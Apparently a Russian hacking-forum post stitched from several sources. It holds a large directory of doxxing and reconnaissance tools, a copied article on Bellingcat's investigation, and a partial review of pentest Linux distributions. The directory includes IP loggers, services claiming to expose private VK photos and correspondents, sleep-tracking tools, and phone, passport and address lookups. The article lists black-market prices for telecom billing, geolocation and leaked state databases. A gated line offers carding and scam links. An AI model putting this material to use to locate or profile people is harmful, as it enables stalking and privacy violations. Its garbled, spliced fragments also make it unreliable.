3. intelx.io (https://intelx.io/tools?tab=analytics) — найдет сайты с искомым трекером UA, 6 источников поиска
4. analyzeid.com — принимает трекеры pub, UA, ищет другие сайты
5. osint.sh (https://osint.sh/analytics/) — найдет сайты с искомым трекером UA
6. osint.sh (https://osint.sh/adsense/) — найдет сайты с искомым трекером pub

Поиск по любому домену

1. xinit.ru (https://xinit.ru/whois/) — найдет whois, DNS-записи, даст ссылки на поисковые ресурсы
2. hunter.io — дает email адреса
3. @WhoisDomBot — узнайте базовую информацию о домене
4. riskiq.com (r) — автоматизированный поиск по всем фронтам
5. Knock Subdomain Scan (https://github.com/guelfoweb/knock) (t) — находит под домены и FTP
6. builtwith.com — технологический профиль сайта, взаимосвязи между сайтами
7. crimeflare.org (http://www.crimeflare.org:82/cfs.html) — определяет настоящий IP адрес сайта скрытый за CloudFlare
8. cyber-hub.net (https://cyber-hub.net/domain_resolver.php) — распознаватель cloudflare, статус DNS, перебор под доменов и многое другое
9. suip.biz (https://suip.biz/ru/?act=amass) — найдет поддомены
10. urlscan.io — сервис для сканирования и анализа сайтов
11. dnsdumpster.com — обнаруживает хосты связанные с доменом
12. censys.io — находит какие серверы и устройства выставлены в сети
13. virustotal.com — служба пассивного DNS, поиск под доменов, найдет whois и историю сертификатов SSL
14. atsameip.intercode.ca — одинаковые IP у сайта, можно узнать под домены
15. spiderfoot.net (r) — автоматический поиск с использованием огромного количества методов, можно использовать в облаке если пройти регистрацию
16. dirhunt (https://github.com/Nekmo/dirhunt) (t) — поиск директорий сайта без брута
17. Amass (https://github.com/OWASP/Amass) (t) — сетевое картирование поверхностей атаки и обнаружение внешних ресурсов с использованием методов сбора информации с открытым исходным кодом и активных методов разведки
18. Photon (https://github.com/s0md3v/Photon) (t) — найдет на сайте файлы, секретные ключи, JS файлы, URL с параметрами
19. spyse.com (https://spyse.com/search/subdomain) — поиск поддоменов
20. www.cookieserve.com — анализ cookies сайта, покажет какому сайту принадлежат
21. dnslytics.com (https://dnslytics.com/reverse-analytics) — вытаскивает трекеры из сайта
22. domainwat.ch — может искать информацию такую как имя регистранта, адрес, номер телефона, адрес электронной почты из информации WHOIS и историю изменений
23. findomain (https://github.com/Edu4rdSHL/findomain) (t) — найдет под домены
24. shodan.io — найдет IP адреса и сайты с упоминанием искомого сайта
25. phonebook.cz — найдет email, под домены, директории сайта
26. visualsitemapper.com (http://www.visualsitemapper.com/) — визуализация карты сайта одним графиком
27. dorks.faisalahmed.me — составляет дорки для Google и Яндекс
28. synapsint.com — хорошо ищет поддомены
29. analyzeid.com — находит на странице идентификаторы аналитики и по ним ищет другие сайты
30. FavFreak (https://github.com/devanshbatham/FavFreak) (t) — находит все сайты схожим favicon
31. completedns.com (https://completedns.com/dns-history/) — история DNS
32. pidrila (https://github.com/enemy-submarine/pidrila) (t) — находит директории сайта
33. osint.sh — поддомены, история DNS, сканер NMAP и много другого
34. mmhdan.herokuapp.com — вычислит хеш значка сайта и даст ссылки на ресурсы где можно найти похожие сайты с одинаковыми значками
35. o365chk (https://github.com/nixintel/o365chk/) (t) — проверит наличие у сайта Microsoft Office365, выдаст email, облачное имя и ссылку для в хода в офис
36. pagexray.fouanalytics.com — найдет к каким сайтам делаются запросы для трекинга и аналитики, делает скриншот сайта
37. metagoofil (https://github.com/laramies/metagoofil) (t) — найдет метаданные во всех документах на сайте
38. www.email-format.com (https://www.email-format.com/i/search/) — даст email, дату их обнаружения и источник
39. tools.whoisxmlapi.com (https://tools.whoisxmlapi.com/whois-history- search) — найдет всю историю изменений whois домена
40. www.link-assistant.com (https://www.link-assistant.com/seo-spyglass/free- backlink-checker-tool.html) — найдет источники упоминания домена и их анализ
41. talosintelligence.com (https://talosintelligence.com/reputation_center/) — покажет сколько писем было отправлено с домена и его репутацию
42. account.lampyre.io (t) (r) — программа выполняет поиск малварей, под доменов, файлов, компании и их работников, whois, email адреса
43. leak-lookup.com (https://leak-lookup.com/search) (r) — покажет на каких сайтах была утечка с искомым доменом
44. app.netlas.io (r) — субдомены, устройства, IP адреса, CVE и уязвимости
45. ⚡️@UniversalSearchBot — даст прямые ссылки на 50+ ресурсов где есть история Whois, IP, DNS, Nameserver, сертификаты, трекеры, похожие домены, контакты, архивы, дорки и прочее

Поиск по серийному номеру техники

1. warrantycheck.epson.eu — техника бренда Epson, даст номер модели, номер материала
2. dysonseriallookup.com (http://dysonseriallookup.com/BedBathBeyond) — техника бренда Dyson, даст дату поставки и продавца
3. wwwp.medtronic.com (http://wwwp.medtronic.com/productperformance/serialLookup.html?serialNumber) — техника бренда Medtronic, выдает модель и тип медицинского оборудования
4. www.bobswatches.com (https://www.bobswatches.com/rolex-serial-numbers) — по серийному номеру часов Rolex выдает год производства
5. pcsupport.lenovo.com (https://pcsupport.lenovo.com/us/en/warrantylookup#/) — техника бренда Lenovo, выдает модель, а если залогиниться то и информацию о гарантии
6. www.imei.info (https://www.imei.info/apple-sn-check/) — техника бренда Apple, выдет модель, цвет, объем накопителя, время изготовления, место производства
7. www.vega.com (https://www.vega.com/en/products/serialnumber-search) — техника бренда Vega, различные датчики и системы контроля систем водоснабжения, отопления и прочего связанного с ЖКХ, даст подробную информацию о модели, дате поставки и дате тестирования
[~]reg.ru - поиск информации по сайту.
[~]Grabify.link - айпи логгер
[~]РЕКЛАМА.ru - второй айпи логгер
[~]@reverseSearch2Bot - находит соц сети по фото
[~]@EyeGodsBot - находит инфу по айпи номеру лицу и тд.
[~]@Smart_SearchBot - второй бот по нахождению инфы
[~]FTH.SU? - Поиск информации по никнейму/IP/Почте.
[~]220vk.com - Просмотр информации о друзьях, странице и т.д.
[~]Findclone.ru - Нахождение страниц по фотографиям.
[~]nomer.io ? - Просмотр информации по номеру телефона.
[~]CheckHost.net? - Просмотр информация по IP-адресу.
[~]NotePad++ - Текстовый редактор для записи найденной информации.
[~]phoneradar.ru - Аналог nomer.io.
[~]GetContact - Программа для определения ФИО по номеру телефона.
[~]archive.is - Сохранение страницы.
[~]vk.com/app7183114_-147591239 - Просмотр информации о странице.
[~]Leakcheck - Проверка паролей от почт.
[~]yzad.ru — Находит владельца группы
[~]vkdia.com — Определит с кем из друзей переписывается человек
[~]searchlikes.ru — Найдет где есть лайки и комментарии, дает статистику друзей
[~]tutnaidut.com — информация о аккаунте за несколько лет назад
[~]flightradar24.com - база данных о полетах по всему миру
[~]vkbarkov.com - пробив страницы ВКонтакте
[~]anonymousmask.com - сайт для взлома
[~]@bagosi - бот вк
[~] Archive.org - просмотр удаленой информации
[~]Archive.is - просмотр сохраненой информации в интернете
[~]VAK-SMS.COM - сайт с виртуальнвми номерами
[~]5sim.net - сайт с виртуальными номерами
[~]7sim.net - сайт с виртуальными номерами

Короткий URL для всех!
http://РЕКЛАМА.ru
▫ Locatefamily
(https://www.locatefamily.com/) — найдет ▫ Infobel (https://www.infobel.com/fr/world) — найдет номер телефона, адрес и ФИО
▫ Rocketreach (http://rocketreach.co/) — поиск людей в linkedIn, Facebook и на других сайтах, находит email
▫ https://t.me/@egrul_bot — найдет ИП и компании
▫ Яндекс.Люди (https://yandex.ru/people) — поиск по социальным сетям
▫ реестр залогов (https://www.reestr-zalogov.ru/state/index) — поиск по залогодателям, даст паспортные данные, место и дату рождения и т.д.
▫ Zytely (https://zytely.rosfirm.info/) — найдет адрес прописки и дату рождения, необходимо знать город
▫ Mmnt (http://mmnt.ru/) — найдет упоминания в документах
▫ Kad.arbitr.ru (http://kad.arbitr.ru/) — дела, рассматриваемые арбитражными судами
▫ Fedresurs (http://bankrot.fedresurs.ru/?attempt=1) — поиск по банкротам, можно узнать ИНН, СНИЛС и адрес
▫ Sudact (https://sudact.ru/) — судебные и нормативные акты РФ, поиск по участникам и судам
▫ Fssprus (http://fssprus.ru/iss/ip/) — проверка задолженностей, для физ. лица
▫ Notariat (https://data.notariat.ru/directory/succession/search?..) — поиск в реестре наследственных дел, найдет дату смерти человека и адрес нотариуса оформившее дел
(https://account.lampyre.io/email-and-phone-lookup) — веб версия поиска по любому номеру телефона, поиск по аккаунтам и тел
Регистратор доменных имён РЕГ.РУ
www.reg.ru
ефонной книге
▫ Getcontact (https://getcontact.com/) — найдет информацию о том как записан номер в контактах
▫ Truecaller (ht
[Ссылка]
Locate Family | Find people for FREE!
https://www.locatefamily.com/
tps://www.truecaller.com/) — телефонная книга, найдет имя и оператора телефона
▫ Bullshit (https://mirror.bullshit.agency/) — поиск объявлений по номеру телефона
▫ Bases-brothers (https://bases-brothers.ru/) — поиск номера в объявлениях
▫ Microsoft (http://account.live.com/) — проверка привязанности номера к microsoft аккаунту
▫ Avinfo.guru (https://avinfo.guru/) — проверка телефона владельца авто, иногда нужен VPN
▫ Telefon.stop-list (http://telefon.stop-list.info/) — поиск по всем фронтам, иногда нет информации
▫ @numberPhoneBot (https://t.me/@numberPhoneBot) — найдет адрес и ФИО, не всегда находит
▫ Rosfirm (https://gutelu.rosfirm.info/) — найдет ФИО, адрес прописки и дату рождения, нужно знать город

3wifi (https://3wifi.stascorp.com/map) — найдет wifi точки с паролями
Wigle (https://wigle.net/) — покажет SSID и BSSID Wi-Fi точки
Osintcombine (http://osintcombine.com/) — найдет Facebook страницы организаций
Trendsmap (https://www.trendsmap.com/) — карта трендов в Twitter
Omnisci (https://www.omnisci.com/demos/tweetmap) — покажет твитты на карте
Mattw (https://mattw.io/youtube-geofind/location) — находит видео на YouTube
@suncalc_bot (https://t.me/suncalc_bot) — расчет времени закатов, рассветов, сумерек
Rosreestr (https://rosreestr.ru/wps/portal/p/cc_ib_portal_services/online_request) — справочная информация по объектам недвижимости
Address.stop-list (http://address.stop-list.info/) — проверка на залог недвижимости или ипотеку, кадастровая стоимость объекта, судебные дела
Nomer.center (https://nomer.center/) — телефонный справочник, иногда нужен VPN
Zytely (https://zytely.rosfirm.info/m/) — найдет всех жителей их ФИО и дату рождения
Photo map (http://photo-map.ru/) — найдет фото из VK, радиус поиска от 10 метров
Azurewebsites (http://snradar.azurewebsites.net/) — найдет фото из VK, радиус поиска от 10 метров, фильтры дат
Gosuslugi (https://dom.gosuslugi.ru/#!/houses) — даст паспорт здания
Kamerka (https://github.com/woj-ciech/kamerka) — найдет на карте камеры, устройства интернета вещей, принтеры, твиты, Instagram фото, flickr и другие открытые устройства
Mattw (https://mattw.io/youtube-geofind/location) — находит видео на YouTube
MAC адрес
└ Для MAC адреса

Содержимое раздела:

Xinit (https://xinit.ru/wifi/) — покажет местоположение Wi-Fi
Alexell (https://alexell.ru/network/mac-geo/) — тоже покажет местоположение
IP адрес
└ Для IP адреса

Содержимое раздела:

HostHunter (https://github.com/SpiderLabs/HostHunter) — обнаружение и извлечение имен хостов из набора целевых IP-адресов
Censys (http://censys.io/) — находит какие серверы и устройства выставлены в сети
Cyber-hub (https://cyber-hub.pw/ip2skype.php) — найдет Skype аккаунт
Spiderfoot (https://www.spiderfoot.net/) — автоматический поиск с использованием огромного количества методов, ножно использовать в облаке если пройти регистрацию
Iknowwhatyoudownload (http://iknowwhatyoudownload.com/) — покажет что скачивают в интернете
Secapps (https://recon.secapps.com/) — автоматический поиск и создание карт взаимосвязей
Dnslytics (https://dnslytics.com/reverse-ip) — найдет домены
Yuleak (https://yuleak.com/) — найдет серверы, домены, поддомены, услуги, darkweb, пароли, уязвимости, идентификаторы и многое другое
Вконтакте

Содержимое раздела:

Searchlikes.ru (https://searchlikes.ru/) — найдет где есть лайки и комментарии, дает статистику друзей
Tutnaidut (http://tutnaidut.com/) — информация аккаунта несколько лет назад
220vk (https://220vk.com/) — определит средний возраст друзей, скрытых друзей, города друзей, дата регистрации и т.д
@VKUserInfo_bot (https://t.me/VKUserInfo_bot) — бот скачивает всю информацию об аккаунте
City4me.com (http://vk5.city4me.com/) — Cтатистика онлайн активности, скрытые друзья
Spys (http://spys.one/vk) — просмотр закрытой страницы
Vk.watch (https://vk.watch/) — покажет историю аккаунта с 2016 года, ограниченная информация, покажет фото в низком качестве, можно уменьшить масштаб фото, тем самым распознать что там изображено
Vk-photo (https://vk-photo.xyz/) — частные фото аккаунта
VKAnalysis (https://github.com/migalin/VKAnalysis) — анализ круга общения, текста, фото, онлайна и интересов аккаунта
Vk-express.ru (http://vk-express.ru/) — слежка за аккаунтом, после добавления будут доступны аватары, лайки, комментарии, друзья группы и т.д.
Archive (https://archive.org/) — покажет архивированную версию аккаунта
VKinfo (https://vk.com/app7183114) — найдет созданные группы, упоминания в комментариях, созданные приложения и комментарии к фото
Yasiv.com/vk (http://yasiv.com/vk) — создает граф из друзей аккаунта, после регистрации добавьте в граф аккаунт того кого хотите просмотреть
Archive.is (http://archive.is/) — архивированная страница аккаунта
@InfoVkUser_bot (https://t.me/InfoVkUser_bot) — бот покажет наиболее частые места учебы друзей аккаунта
@FindNameVk_bot (https://t.me/FindNameVk_bot) — история изменений имени аккаунта
Yzad (http://yzad.ru/) — находит владельца группы
Vkdia.com (https://vkdia.com/) — определит с кем из друзей переписывается человек
YouTube

Содержимое раздела:

Keyhole.co (https://keyhole.co/) — анализ аккаунта, при регистрации нет проверок по email и телефону, вводите любые данные, 7 дней бесплатно
Archive (https://archive.org/) — покажет архивированную версию аккаунта
Instagram
Содержимое раздела:

Gramfly.com (http://gramfly.com/) — Gramfly.com
Storiesig.com (https://storiesig.com/) — сохранённые истории
Codeofaninja.com (https://codeofaninja.com/) — определит ID аккаунта
Bigsta.net (https://bigsta.net/) — аналитика аккаунта
Keyhole.co (http://keyhole.co/) — анализ аккаунта, при регистрации нет проверок по email и телефону, вводите любые данные, 7 дней бесплатно
Archive.org (https://archive.org/) — покажет архивированную версию аккаунта
@InstaBot (https://t.me/InstaBot) — скачивает сторис аккаунта
@usersbox_bot (https://t.me/usersbox_bot) — бот найдет аккаунты в ВК у которых в поле instagram указан искомый логин, введите в боте
Steam

Содержимое раздела:

Cyber-hub.net — инструмент, который позволяет вам получить IP пользователя в реальном времени или из базы данных с сохраненными результатами
Archive (https://archive.org/) — покажет архивированную версию аккаунта
Socid extractor (https://github.com/soxoj/socid_extractor) — найдет Steam ID, даже скрытого аккаунта
Steamid.uk (http://steamid.uk/) — поиск по Steam ID, логину, Steam3, Community ID, найдет историю ников, дату создания, историю аватаров, статистику друзей
Facebook

Содержимое раздела:

Graph.tips (https://graph.tips/beta/) — дает возможность просматривать, каким публикациям ставил лайки пользователь
Whopostedwhat (https://whopostedwhat.com/) — найдет посты в Facebook
Fb-sleep-stats (https://github.com/sqren/fb-sleep-stats) — отслеживает онлайн / оффлайн статус людей, можно получить точную информацию о времени их сна
Lookup-id (https://lookup-id.com/) — покажет ID аккаунта
Keyhole (https://keyhole.co/) — анализ аккаунта, при регистрации нет проверок по email и телефону, вводите любые данные, 7 дней бесплатно
Archive (https://archive.org/) — покажет архивированную версию аккаунта
Usersbox_bot (https://t.me/usersbox_bot) — бот найдет аккаунты в ВК у которых в поле facebook указан искомый логин, введите в боте
Skype

Содержимое раздела:

Mostwantedhf.info (https://mostwantedhf.info/) — найдет почту
Resolvethem.com (http://resolvethem.com/) — найдет IP
Webresolver (https://webresolver.nl/) — найдет IP
@usersbox_bot (https://t.me/@usersbox_bot) — бот найдет аккаунты в ВК у которых в поле skype указан искомый логин, введите в боте
Telegram

источник статьи, скопипастил оттуда https://habr.com/ru/company/vdsina/blog/535688/
интересно, почитайте
как раз в тему, недавно stepany4 писал о методах работы Bellingcat

Весь мир обсуждает последнее расследование детективного агентства Bellingcat. Кажется невероятным, что [группа обычных пользователей](https://meduza.io/feature/2015/02/24/oruzhie-massovogo- obnaruzheniya) способна распутать такое дело. При этом они используют стандартные инструменты и базы данных, зачастую доступные в интернете.

Неужели сегодня можно раскрыть преступление вообще не вставая из-за компьютера? Только на основании следов, которые люди оставляют в базах данных, в истории мессенджеров, в логах операторов связи, на камерах наблюдения?

Или это фантастический киберпанк?

На Хабре уже писали, как специалисты Bellingcat использовали обратный поиск изображений на «Яндексе» — действительно, уникальный инструментарий с использованием машинного обучения. Google с некоторого времени прикрыл данную функциональность в поиске картинок. Возможно, скоро и «Яндекс» закроет эту функцию в публичной версии (по крайней мере, некоторые читатели в комментариях к статье предполагают такой вариант). Так или иначе, но Bellingcat вдобавок к этому использует и много других инструментов.

Рынок купли/продажи персональной информации довольно спокойно жил несколько лет, пока не случилось это расследование. После него резко выросли цены, а некоторые посредники вообще бесследно исчезли. По мнению экспертов, ситуация должна восстановиться к марту 2021 году.

Итак, давайте изучим по шагам расследование Bellingcat. Оно начинается с пробива по базе звонков.

Биллинг сотовых операторов​

После прошлого расследования у Bellingcat был список сотрудников, которые работали с химоружием за границей, и их телефонных номеров. Следователи предположили, что для операции внутри РФ будут использоваться другие кадры, поскольку эти кадры уже «спалились» в публичном расследовании. Однако пробив старых агентов показал, что один из них созванивался со специалистом по химоружию из Пятигорского института Минобороны через несколько часов после отравления. Это было их единственный разговор на протяжении шести месяцев. Следователи предположили, что профессионалы могли обсуждать какое-то интересное для них событие.

Затем следователи изучали несколько других ниточек, в том числе подробно проверяли личности всех, с кем разговаривал по телефону руководитель научного центра «Сигнал», где разрабатываются вещества. Оказалось, что 6 июля 2020 года он очень плотно общался с разными сотрудниками ФСБ, которые раньше не попадали в поле зрения Bellingcat. Если раньше руководитель «Сигнала» общался с ФСБ раз в месяц, то теперь за один день состоялось 15-20 звонков.

Детализацию биллинга продают, в том числе, сотрудники операторов мобильной связи. Детализация звонков и SMS по конкретному номеру стоит 20 тыс. руб. за первый месяц и 7000 руб. за каждый следующий, скидка до 50% при заказе от 5 абонентов. Геолокация по номерам телефонов — 110 тыс. руб. за телефон в месяц.

В биллингах на каждый звонок или подключение к интернету указана конкретные базовые станции, к которым телефон привязан в данный момент. Триангуляцию следователи выполняют иногда вручную в графическом редакторе. Затем из точек триангуляции составляется тепловая карта — она показывает, где человек бывает чаще всего. Обычно это дом и работа.

Детализация биллинга выявила много интересного, в том числе один из каналов связи фсбшников — WhatsApp, что довольно неожиданно.

После провала этой операции можно предположить, что ФСБ будет жёстче следить за операторами и серьёзнее наказывать за утечки. Поскольку риски возрастают, цены на услуги в ближайшее время тоже будут расти.

Социальный граф и дата-майнинг​

Дальше расследование раскручивалось по цепочке: теперь уже проверялись все звонки каждого из сотрудника, выявленных на предыдущем этапе. Так определилась группа из шести номеров, которые часто общаются между собой.

Пробивка абонента по номеру телефона стоит 1000 руб. Здесь выделяются интересующие персонажи — агенты, химики, специалисты, которые тоже участвовали в операции.

Место работы проверяется в приложении GetContact (запись контакта в адресной книге телефона) или другой слитой на чёрный рынок базе данных. В Bellingcat используют в том числе коллекцию баз данных Larix, включающую в себя сведения о кредитной истории, трудоустройстве, судимостях и перелётах.

«Мы все купленные биллинги загружаем просто в базу MySQL — и потом по ней уже можно делать конкретный запрос. Узнать, например, какой номер чаще всего созванивается с другим» — [рассказывал](https://meduza.io/feature/2020/12/16/ne-tak-to-prosto-otravit- cheloveka-novichkom) главный расследователь Bellingcat Христо Грозев.

Авиаперелёты​

На следующем этапе следователи проверили авиаперелёты каждого сотрудника в этой группе из шести человек.

Узнать попутчиков/пассажиров рейса на чёрном рынке сейчас стоит 15 000 руб. за рейс.

Здесь тоже обнаружилась корреляция.

Информацию по авиаперелётам каждого гражданина можно найти в базах от авиакомпаний. Некоторые из них слиты уже давно. По этим базам нашлось 37 совпадений.

Грозев говорил, что сначала базы пробивали всплепую, но потом стали выбирать их более целенаправленно.

Перелёты и поездки человека за один год пробиваются по базе МВД «Магистраль» за 2000 руб.

Базы с железнодорожными и авиабилетами вплоть с 2017 по 2019 годы уже разошлись по интернету. Они есть почти у всех. Благодаря пакету Яровой теперь данные продают за три года, а не за шесть месяцев, как раньше.

В этих расследованиях гораздо сложнее достать актуальную информацию по сегодняшним/вчерашним рейсам, тогда как архивные данные лежат практически в открытом доступе.

Базы данных​

Следователи Bellingcat собрали информацию на каждого из шести членов группы. Услуга «Роспаспорт» (данные паспорта, загранпаспорта, адресов регистрации, фото владельца) стоит всего 1400 руб. с человека, за 11 человек со скидкой с могли взять 10 тыс.

Места парковок и поездки из базы «Поток» (движение и остановки по камерам города) стоят 2500 руб. за авто за первый месяц и 1500 руб. за следующие.

Кроме подпольных сервисов пробива, очень много информации лежит просто в открытом доступе. Когда на рынке появляется новая БД, то она дорого стоит только в первый год или два, а затем сливается по всем каналам.

На специализированных форумах можно найти практически любые приватные данные о любом человеке. Например, вот актуальные цены у одного из продавцов:

Банковская категория с пробивом физ- и юрлиц — одна из самых популярных на форумах. Информацию «сливают» сотрудники самих банков, которые могут посмотреть информацию по любому счёту.


Bellingcat несколько лет отслеживает разнообразные источники информации в открытом доступе и собирает их. Собственно, такое же хобби есть у многих читателей подпольных форумов и телеграм-каналов со сливами данных. Удобнее провести поиск по своим базам, чем запускать платный пробив по коммерческим сервисам вроде всем известного телеграм-бота «Глаз бога», у которого в России более 200 тыс. пользователей.

Платформа «Глаз блога» объединяет более 40 источников информации. Один запрос на расширенный поиск через телеграм-бота стоит 30 рублей

Активисты Bellingcat собрали большое количество таких баз. В наше время подобным занимаются все, кто интересуется исследовательской журналистикой с цифровой криминалистикой в интернете (forensic investigations).

Цифровая криминалистика​

Цифровая криминалистика — одна из новых профессий 21 века. Сейчас практически любой человек оставляет за собой яркий цифровой след, который с каждым годом становится всё более жирным. Мало аспектов нашей жизни не регистрируется цифровыми устройствами, поэтому цифровая криминалистика становится настолько мощным инструментом.

Многие преступления можно расследовать и раскрыть не вставая из-за компьютера.

Некоторые инструменты и базы данных свободно доступны через интернет и бесплатны, как [база патентов Федеральной службы по интеллектуальной собственности](https://new.fips.ru/elektronnye-servisy/informatsionno- poiskovaya-sistema/informatsionnye-resursy-.php):

Слив персональных данных как фундамент гражданской журналистики​

Гражданская журналистика, которая расследует государственный терроризм и преступления правительств разных стран — главная заноза для тоталитарных политических режимов. Это краудсорсинг в самом прямом смысле: когда сетевой разум решает такие головоломки, которые не могут осилить целые разведывательные службы отдельных государств.

Или это настоящие спецслужбы используют сетевой разум в своих целях, как раньше хакеры сливали украденные документы в Wikileaks, чтобы анонимно опорочить противника? Границы настолько размылись, что чётко отделить гражданскую журналистику от деятельности спецслужб становится сложно.

Нужно отметить, что массовые проблемы с утечкой персональных данных граждан присущи не только России. Например, в Индии тоже торгуют такими базами налево и направо.

В принципе, тут нет ничего нового.

В России такие базы начали продавать на компакт-дисках ещё в 90-е годы. Около десяти лет назад были популярны сервисы пробива Radarix.com и RusLeaks.com , которые были вскоре закрыты. На их место пришли другие, а в даркнете подобные сервисы довольно хорошо известны. В последние годы отрасль вышла на принципиально новый уровень, поскольку количество баз данных сильно увеличилось. На рынке действуют даже специальные «гаранты сделок», посредники, которые защищают клиентов (покупателей информации) от мошенников.

По мнению специалистов, бороться со сливом персональных данных в открытый доступ практически невозможно. Этих данных становится всё больше, так же как источников информации.

Перспективные сервисы и услуги, которые могут появиться в ближайшие годы:

• Таргетированный сбор информации на конкретного человека через краудсорсинговую сеть анонимных информаторов (Google для персоналий)
• Автоматизированная биржа купли/продажи персональных данных. Например, каждый пользователь сможет продать здесь видеозаписи, сделанные со своего видеорегистратора или смартфона с записью соседей или коллег по работе.
• Создание фейковых личностей через генерацию персональных данных в БД (сейчас в ФСБ людям на выдуманные фамилии делают паспорта с давней датой выдачи, но история авиаперелётов, штрафы за парковку и другой цифровой след у них отсутствует).
• Генерация источников с «отравленными» данными от контрразведки.

В общем, это действительно интересные новые возможности для разведки, шпионажа, а также краудсорсинга и гражданской журналистики.

Интересный парадокс. Благодаря системе тотальной слежки за гражданами сами граждане получают возможность следить за агентами спецслужб. Bellingcat — одна из первых организаций, которая этим занимается, но явно не последняя.

Есть полезные ссылки не только по пробиву но и для каржа , скама и прочего

You must have at least 20 reaction(s) to view the content.

Собирать свою коллекцию хакерских тулз — это отлично, но теперь принято брать за основу один из специализированных дистрибутивов. Обычно это Kali, но мы рассмотрим не только его, но и другие дистры для пентеста, подчас не менее эффективные, а в каких-то областях и более полезные.

Дистрибутивов для пентеста множество. Одни популярны, другие — не очень, но все они преследуют цель дать хакеру удобный и надежный инструмент на все случаи жизни. Большинством из программ в составе таких кастомизированных сборок средний хакер никогда не воспользуется, но для ~~понтов~~ статусности их добавляют («Смотри, у тебя 150 утилит, а у меня — 12 000!»). Сегодня мы постараемся сделать обзор большинства интересных дистрибутивов, как популярных, так и незаслуженно забытых. Если же мы что-то упустили — не стесняйся использовать комментарии. Поехали!

NST

• Первый релиз: 2003 год
• Основан на: Fedora
• Платформы: x64
• Графическая оболочка: MATE

Скачать

Начнем с малоизвестного, но оттого не менее интересного дистрибутива. NST (Network Security Toolkit) основан на Fedora и предназначен для сетевых атак. В основе интерфейса — MATE, который вызывает ощущение начала нулевых. В комплекте идет несколько десятков самых важных инструментов, в основном сетевые сканеры, клиенты для всевозможных служб и разного рода перехватчики трафика. Но не хватает таких полезностей, как, например, masscan , и даже банального aircrack , хотя airsnort имеется.

Основная часть софта лежит в папке Internet

Больше всего вкусностей можно найти в папке Applications → Internet. Тут у нас и Angry IP Scanner , написанный, кстати, на Java, и Ettercap , и даже OWASP ZAP , о котором мы [уже писали](https://xakep.ru/2020/04/21/hack- scan/) в «Хакере». Есть неплохой сборник модулей для всевозможного спуфинга и скана у пакета netwag. В деле он показал себя неплохо, жаль только, не очень удобен и жутко устарел.

Весь проверенный мной софт работает прекрасно. В общем, всем скучающим по древнему интерфейсу и привычным инструментам рекомендуется.

Kali

• Первый релиз: 2013 год
• Основан на: Debian
• Платформы: x86, x64, ARM, VirtualBox
• Графическая оболочка: Xfce

Скачать

Как ты, конечно, знаешь, Kali — один из самых распиаренных дистрибутивов для хакеров, и было бы странно, если бы мы про него не написали. О нем знают даже школьники, а с относительно недавних пор он доступен в виде приложения прямо из Microsoft Store! Конечно, доступность — несомненный плюс, но система слегка перегружена набором инструментов (хотя и не так сильно, как BlackArch), к тому же часть из них из коробки работает криво или не работает вообще.

Защиты от дурака в Kali тоже не предусмотрено. Как показывает практика, не всем пользователям понятно, что не стоит делать эту систему основной. От ядра до оболочки она была создана и оптимизирована для выполнения боевых задач на фронтах ИБ и плохо пригодна для спокойной ежедневной работы. Многие нужные в быту механизмы там попросту отсутствуют, а попытка их установить, скорее всего, вызовет сбои в нормальной работе ОС, если не выведет ее из строя полностью.

Короче, Kali как спички — мощная штука в умелых руках, ее легко достать, но детям лучше не давать. Охватить разом все возможные официальные и неофициальные утилиты (а их, на минуточку, больше 600) этой системы не представляется возможным хотя бы потому, что постоянно появляются новые и новые модули, фреймворки, утилиты и прочие прибамбасы.

Kali предназначена для широкого спектра задач, но основная из них — атаки в сетевой среде, например, поиск уязвимостей в веб-приложениях и получение доступа к беспроводным сетям. Как наследник BackTrack, Kali вообще неплохо приспособлена для работы с беспроводными каналами связи, в особенности Wi-Fi. Проверка на прочность удаленных хостов тоже возможна с помощью, например, Metasploit (подробнее о нем — в нашем недавнем обзоре), но именно на работу с Wi-Fi ориентировано ядро и значительная часть инструментов.

Еще из плюсов отмечу наличие в штатной поставке большого количества словарей для различных атак, не только на Wi-Fi, но и на аккаунты в интернете и на сетевые службы.

Kali работает в WSL

Для еще большего удобства использования на официальном сайте предлагается версия дистрибутива для виртуальных машин, ведь при взломе куда разумнее использовать систему без установки — мало ли кто потом будет копаться в твоем компе!

Вердикт такой: если умеешь пользоваться — классная штука, но не вздумай показывать ее ребенку. Один из авторов видел, что будет, если нарушить это указание.

DEFT

• Первый релиз: 2005 год
• Основан на: Ubuntu
• Платформы: x86
• Графическая оболочка: LXDE

Скачать

Родина DEFT — солнечная Италия, и он щедро, как пицца сыром, посыпан разнообразными инструментами для разведки и взлома. При этом они не примотаны к дистрибутиву синей изолентой, а вполне гармонично встроены в него. Все вместе напоминает интересный и полезный в жизни швейцарский нож.

Разработан DEFT на платформе Lubuntu и снабжен удобным графическим интерфейсом. В продукт входит набор профильных утилит, начиная с антивирусов, систем поиска информации в кеше браузера, сетевых сканеров и других полезностей и заканчивая инструментами, которые необходимы при поиске скрытой информации на диске.

Используя эту ОС, не составит труда получить доступ к стертым, зашифрованным или поврежденным данным на различных видах физических носителей.

Основной инструментарий прячется в разделе DEFT, который, в свою очередь, находится в некотором подобии меню «Пуск».

Изначально этот дистрибутив был предназначен для нужд сетевой полиции и специалистов по реагированию на инциденты в области ИБ, поэтому еще одна сильная сторона DEFT — это конкурентная разведка, в том числе анализ взаимосвязей аккаунтов соцсетей.

Есть даже интересная утилита для обнаружения геолокации заданного аккаунта LinkedIn или Twitter. Я не смог проверить, насколько эффективно это работает в данный момент, но с определением принадлежности аккаунта к стране и городу она справляется.

В отличие от Kali Linux или Tsurugi, в DEFT защита от дурака встроена. Без должной подготовки почти ни один инструмент попросту не запустить, а без глубокого понимания работы защитных механизмов тут вообще делать нечего.

Буквально каждое приложение или опция требует прав root, так что не спеши сразу запускать все подряд или создавать непривилегированного пользователя.

Также я обнаружил «подарочек»: несколько репозиториев, откуда DEFT берет обновы, закрыты ключами. Пару дней я рылся по форумам, пока не нашел, откуда запросить данные, да и сами ключи тоже нашлись.

В итоге эта система хороша для форензики и расследования инцидентов, в особенности если есть физический доступ к носителям информации — будь то диск, флешка или смартфон (хакера, начальника, сотрудника, конкурента, жены, любовницы, ее бати — нужное подчеркнуть).

Tsurugi

• Первый релиз: 2018 год
• Основан на: Ubuntu
• Платформы: x86 (частично), x64
• Графическая оболочка: MATE

Скачать

Этот дистрибутив вообще не очень известен в кругах ИБ-специалистов — возможно, из-за своей молодости. Однако Tsurugi — детище, рожденное совместными усилиями создателей DEFT и Kali. Что из этого вышло? Давай посмотрим!

